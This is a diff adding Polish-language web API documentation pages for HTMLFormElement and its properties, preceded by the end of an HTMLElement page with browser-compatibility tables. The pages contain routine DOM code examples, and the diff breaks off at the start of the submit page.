+ <td>Added the following properties: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, and all the <code>onXYZ</code> properties.<br>
+ Moved the <code>id</code> and <code>className</code> properties to the {{domxref("Element")}} interface.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>No change from {{SpecName('DOM2 HTML')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox (Gecko)</th>
+ <th>Chrome</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatGeckoDesktop("1.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+ <td>{{CompatGeckoDesktop("5.0")}}</td>
+ <td>17.0</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.10</a>)</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+ <td>{{CompatGeckoDesktop("8.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}{{WebkitBug(72715)}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+ <td>{{CompatGeckoDesktop("5.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+ <td>{{CompatGeckoDesktop("5.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.24</a>)</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+ <td>{{CompatGeckoDesktop("6.0")}}</td>
+ <td>9.0</td>
+ <td>{{CompatUnknown}}</td>
+ <td>11.10</td>
+ <td>5.1</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+ <td>{{CompatGeckoDesktop("5.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.contentEditable", "contentEditable")}}</td>
+ <td>{{CompatGeckoDesktop("1.9")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>5.5</td>
+ <td>9</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.spellcheck", "spellcheck")}}</td>
+ <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.style", "style")}}</td>
+ <td>{{CompatVersionUnknown}} (returns a {{domxref("CSS2Properties")}}, rather than a {{domxref("CSSStyleDeclaration")}})</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+ <td>{{CompatGeckoDesktop("6.0")}}</td>
+ <td>8.0</td>
+ <td>11</td>
+ <td>11.10</td>
+ <td>6</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.draggable", "draggable")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>12.0</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.dropzone", "dropzone")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>12.0</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}</td>
+ <td>{{CompatGeckoDesktop("6.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>11.60<br>
+ (Removed in Opera 15)</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+ <td>{{CompatGeckoDesktop("1.9")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Android</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>
+ <p>{{CompatGeckoMobile("1.0")}}</p>
+ </td>
+ <td rowspan="7">{{CompatUnknown}}</td>
+ <td rowspan="7">{{CompatUnknown}}</td>
+ <td rowspan="7">{{CompatUnknown}}</td>
+ <td rowspan="7">{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+ <td>{{CompatGeckoMobile("5.0")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+ <td>{{CompatGeckoMobile("8.0")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+ <td>{{CompatGeckoMobile("5.0")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+ <td>{{CompatGeckoMobile("5.0")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+ <td>{{CompatGeckoMobile("6.0")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+ <td>{{CompatGeckoMobile("5.0")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+ <td>{{CompatGeckoMobile("1.9")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/pl/web/api/htmlformelement/acceptcharset/index.html b/files/pl/web/api/htmlformelement/acceptcharset/index.html
new file mode 100644
index 0000000000..c71b52269f
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/acceptcharset/index.html
@@ -0,0 +1,33 @@
+---
+title: HTMLFormElement.acceptCharset
+slug: Web/API/HTMLFormElement/acceptCharset
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/acceptCharset
+---
+<p> </p>
+
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>acceptCharset</b> Zwraca listę obsługiwanych przez formularz zestawów znaków dla danego elementu FORM. Lista ta będzie oddzielona przecinkiem lub spacją.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>string</i> = form.acceptCharset;
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">inputs = document.forms["myform"].acceptCharset
+</pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-19661795">DOM Level 2 HTML: acceptCharset</a></p>
+
+<p>{{ languages( { "en": "en/DOM/form.acceptCharset" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/action/index.html b/files/pl/web/api/htmlformelement/action/index.html
new file mode 100644
index 0000000000..ba03220cd0
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/action/index.html
@@ -0,0 +1,36 @@
+---
+title: HTMLFormElement.action
+slug: Web/API/HTMLFormElement/action
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/action
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>action</b> pobiera/ustawia akcję dla elementu FORM.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>string</i> = form.action
+form.action =
+<i>string</i>
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<p>form.action = "/cgi-bin/publish";</p>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Akcja w formularzu jest programem, który jest wykonywany na serwerze kiedy formularz zostanie wysłany. Ta własność może być odzyskiwana lub ustawiana.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-74049184">DOM Level 2 HTML: action</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/form.action", "en": "en/DOM/form.action" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/elements/index.html b/files/pl/web/api/htmlformelement/elements/index.html
new file mode 100644
index 0000000000..929f7c7640
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/elements/index.html
@@ -0,0 +1,36 @@
+---
+title: HTMLFormElement.elements
+slug: Web/API/HTMLFormElement/elements
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/elements
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>elements</b> zwraca kolekcję <code><a class="external" href="http://www.w3.org/TR/2001/WD-DOM-Level-2-HTML-20011025/html.html#ID-75708506">HTMLCollection</a></code> wszystkich kontrolek zawartych w elemencie FORM.</p>
+
+<p>Do konkretnego elementu możesz odnosić się poprzez indeks lub za pomocą nazwy (<a href="pl/DOM/element.name">name</a>) bądź <a href="pl/DOM/element.id">id</a> tego elementu.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>listaWęzłów</i> =
+<i>HTMLFormElement</i>.elements
+</pre>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<pre class="eval">var inputs = document.getElementById("form1").elements;
+var inputByIndex = inputs[2];
+var inputByName = inputs["login"];
+</pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>Specyfikacja W3C DOM 2 HTML: <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76728479">elements</a></p>
+
+<p>{{ languages( { "en": "en/DOM/form.elements", "ja": "ja/DOM/form.elements" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/encoding/index.html b/files/pl/web/api/htmlformelement/encoding/index.html
new file mode 100644
index 0000000000..aabd43e66f
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/encoding/index.html
@@ -0,0 +1,15 @@
+---
+title: HTMLFormElement.encoding
+slug: Web/API/HTMLFormElement/encoding
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/encoding
+---
+<p> </p>
+
+<p>{{ ApiRef() }} <b>encoding</b> jest alternatywną nazwą dla elementu <a href="pl/DOM/form.enctype">enctype</a> w obiekcie DOM FormElement.</p>
+
+<p>{{ languages( { "en": "en/DOM/form.encoding" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/enctype/index.html b/files/pl/web/api/htmlformelement/enctype/index.html
new file mode 100644
index 0000000000..2a90fe13a9
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/enctype/index.html
@@ -0,0 +1,39 @@
+---
+title: HTMLFormElement.enctype
+slug: Web/API/HTMLFormElement/enctype
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/enctype
+---
+<p> </p>
+
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>enctype</b> pobiera/ustawia typ zawartości elementu FORM.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>string</i> = form.enctype
+form.enctype =
+<i>string</i>
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">form.enctype = "application/x-www-form-urlencoded";
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Typem kodowania jest ogólnie "application/x-www-form-urlencoded".</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-84227810">DOM Level 2 HTML: enctype</a></p>
+
+<p>{{ languages( { "en": "en/DOM/form.enctype" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/index.html b/files/pl/web/api/htmlformelement/index.html
new file mode 100644
index 0000000000..3c0d1ade95
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/index.html
@@ -0,0 +1,143 @@
+---
+title: HTMLFormElement
+slug: Web/API/HTMLFormElement
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Interfejs_elementu_HTML_FORM" name="Interfejs_elementu_HTML_FORM">Interfejs elementu HTML FORM</h3>
+
+<p>Elementy <code>FORM</code> mają wszystkie właściwości i metody innych elementów HTML, tak jak opisano w rozdziale o <a href="pl/DOM/element">elementach</a>. Jednocześnie mają one bardziej wyspecjalizowany interfejs <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40002357">HTMLFormElement</a>.</p>
+
+<p>Interfejs ten dostarcza metod do tworzenia i modyfikacji elementów <code>FORM</code> przy użyciu DOM. Poniższy przykład przedstawia, jak utworzyć nowy formularz, zmienić jego atrybuty i wysłać go.</p>
+
+<pre>// Utwórz formularz
+var f = document.createElement("form");
+
+// Dodaj do zawartości dokumentu
+document.body.appendChild(f);
+
+// Ustaw atrybuty oznaczające akcję i metodę wysyłania
+f.action = "/cgi-bin/some.cgi";
+f.method = "POST"
+
+// Wyślij formularz
+f.submit();
+</pre>
+
+<p>Z kolei poniższy dokument HTML przedstawia jak wydobyć informacje z formularza i nadać mu pewne atrybuty.</p>
+
+<pre>&lt;title&gt;Przykład formularza&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+ function getFormInfo() {
+ var info;
+
+ // Znajdź referencję do formularza poprzez kolekcję forms
+ var f = document.forms["formA"];
+ info = "f.elements: " + f.elements + "\n"
+ + "f.length: " + f.length + "\n"
+ + "f.name: " + f.elements + "\n"
+ + "f.acceptCharset: " + f.acceptCharset + "\n"
+ + "f.action: " + f.action + "\n"
+ + "f.enctype: " + f.enctype + "\n"
+ + "f.encoding: " + f.encoding + "\n"
+ + "f.method: " + f.method + "\n"
+ + "f.target: " + f.target;
+ document.forms["formA"].elements['tex'].value = info;
+ }
+
+ // Referencja do formularza jest przekazywana z atrybutu
+ // onclick przycisku za pomocą 'this.form'
+ function setFormInfo(f) {
+ f.method = "GET";
+ f.action = "/cgi-bin/evil_executable.cgi";
+ f.name = "totally_new";
+ }
+&lt;/script&gt;
+
+&lt;h1&gt;Przykład formularza&lt;/h1&gt;
+
+&lt;form name="formA" id="formA"
+ action="/cgi-bin/test" method="POST"&gt;
+ &lt;p&gt;Kliknij "info" by zobaczyć informację o formularzu,
+ "zmień" by zmienić ustawienia, a następnie ponownie "info"
+ by zobaczyć efekt zmian.&lt;/p&gt;
+ &lt;p&gt;
+ &lt;input type="button" value="info"
+ onclick="getFormInfo();"&gt;
+ &lt;input type="button" value="zmień"
+ onclick="setFormInfo(this.form);"&gt;
+ &lt;input type="reset" value="zresetuj"&gt;
+ &lt;br&gt;
+ &lt;textarea id="tex" style="height:15em; width:20em"&gt;
+ &lt;/p&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<dl>
+ <dt><a href="pl/DOM/form.elements">form.elements</a></dt>
+ <dd>Zwraca kolekcję wszystkich kontrolek zawartych w elemencie <code>FORM</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/form.length">form.length</a></dt>
+ <dd>Zwraca ilość kontrolek w elemencie <code>FORM</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/form.name">form.name</a></dt>
+ <dd>Zwraca ciąg z nazwą bieżącego elementu <code>FORM</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/form.acceptCharset">form.acceptCharset</a></dt>
+ <dd>Zwraca listę obsługiwanych przez formularz zestawów znaków.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/form.action">form.action</a></dt>
+ <dd>Pobiera/ustawia akcję dla elementu <code>FORM</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/form.enctype">form.enctype</a></dt>
+ <dd>Pobiera/ustawia typ zawartości wysyłanej przez formularz.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/form.encoding">form.encoding</a></dt>
+ <dd>Pobiera/ustawia typ zawartości wysyłanej przez formularz.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/form.method">form.method</a></dt>
+ <dd>Pobiera/ustawia metodę HTTP używaną do wysłania formularza.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/form.target">form.target</a></dt>
+ <dd>Pobiera/ustawia okno docelowe akcji formularza (np. ramka, w której zostanie wyrenderowana zwrócona strona).</dd>
+</dl>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<dl>
+ <dt><a href="pl/DOM/form.submit">form.submit</a></dt>
+ <dd>Wysyła formularz</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/form.reset">form.reset</a></dt>
+ <dd>Przywraca formularz do jego stanu początkowego</dd>
+</dl>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/form", "es": "es/DOM/form", "fr": "fr/DOM/form", "ja": "ja/DOM/form" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/length/index.html b/files/pl/web/api/htmlformelement/length/index.html
new file mode 100644
index 0000000000..36c5c63349
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/length/index.html
@@ -0,0 +1,33 @@
+---
+title: HTMLFormElement.length
+slug: Web/API/HTMLFormElement/length
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/length
+---
+<p>{{ ApiRef() }}</p>
+
+<h4 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h4>
+
+<p>length zwraca liczbę kontrolek w elemencie FORM.</p>
+
+<h4 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h4>
+
+<pre class="eval"><i>integer</i> = form.length
+</pre>
+
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+
+<pre class="eval">if (document.getElementById("form1").length &gt; 1) {
+ // więcej niż jedena kontrolka formularza jest tu
+}
+</pre>
+
+<h4 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h4>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#HTML-HTMLFormElement-length">DOM Level 2: length</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/form.length", "en": "en/DOM/form.length" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/method/index.html b/files/pl/web/api/htmlformelement/method/index.html
new file mode 100644
index 0000000000..d1829b02c6
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/method/index.html
@@ -0,0 +1,35 @@
+---
+title: HTMLFormElement.method
+slug: Web/API/HTMLFormElement/method
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/method
+---
+<p> </p>
+
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>method</b> pobiera/ustawia metodę HTTP używaną do wysłania formularza.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>string</i> = form.method
+form.method =
+<i>string</i>
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">document.forms["myform"].method = "post";
+</pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-82545539">DOM Level 2 HTML: method</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/form.method", "en": "en/DOM/form.method" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/name/index.html b/files/pl/web/api/htmlformelement/name/index.html
new file mode 100644
index 0000000000..673ab8f847
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/name/index.html
@@ -0,0 +1,44 @@
+---
+title: HTMLFormElement.name
+slug: Web/API/HTMLFormElement/name
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/name
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><code>name</code> zwraca nazwą bieżącego elementu <code>FORM</code> jako łańcuch znaków.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>string</i> = form.name
+form.name =
+<i>string</i>
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">form1 = document.getElementById("form1").name;
+if (form1 != document.form.form1) {
+ // przeglądarka nie obsługuje tego odniesienia do formularza
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Uwaga, ta własność jest do odczytu/zapisu, która znaczy, że możemy zmienić lub ustawić nazwę formularza.</p>
+
+<p>Jeśli Twój <code>FORM</code> zawiera element nazwany "nazwany_element", następnie ten element przesłania własność <code>form.name</code>, więc nie możesz uzyskać do niego dostępu.</p>
+
+<p>Internet Explorer (IE) nie pozwala nazwie tworzonego elementu używać <code>createElement()</code> będącej ustawieniem lub modyfikacją używającą własność <code>name</code> property.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-22051454">DOM Level 2 HTML: name</a></p>
+
+<p>{{ languages( { "en": "en/DOM/form.name" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/reset/index.html b/files/pl/web/api/htmlformelement/reset/index.html
new file mode 100644
index 0000000000..919b982cae
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/reset/index.html
@@ -0,0 +1,37 @@
+---
+title: HTMLFormElement.reset
+slug: Web/API/HTMLFormElement/reset
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/reset
+---
+<p>{{ APIRef }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><code>reset</code> przywraca formularz do jego stanu początkowego.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>HTMLFormElement</i>.reset()
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">document.forms["myform"].reset();
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Metoda ta robi to samo, co kliknięcie przycisku Wyczyść w formularzu.</p>
+
+<p>Jeśli kontrolka formularza (jak np. przycisk Wyczyść) posiada nazwę lub id to przycisk <var>Wyczyść</var> będzie krył czyszczenie formularza.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76767677">DOM Level 2 HTML: reset</a></p>
+
+<p>{{ languages( { "en": "en/DOM/form.reset" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/submit/index.html b/files/pl/web/api/htmlformelement/submit/index.html
new file mode 100644
index 0000000000..078d02d4f5
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/submit/index.html
@@ -0,0 +1,37 @@
+---
+title: HTMLFormElement.submit
+slug: Web/API/HTMLFormElement/submit
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/submit
+---
+<p>{{ ApiRef() }}</p>
+
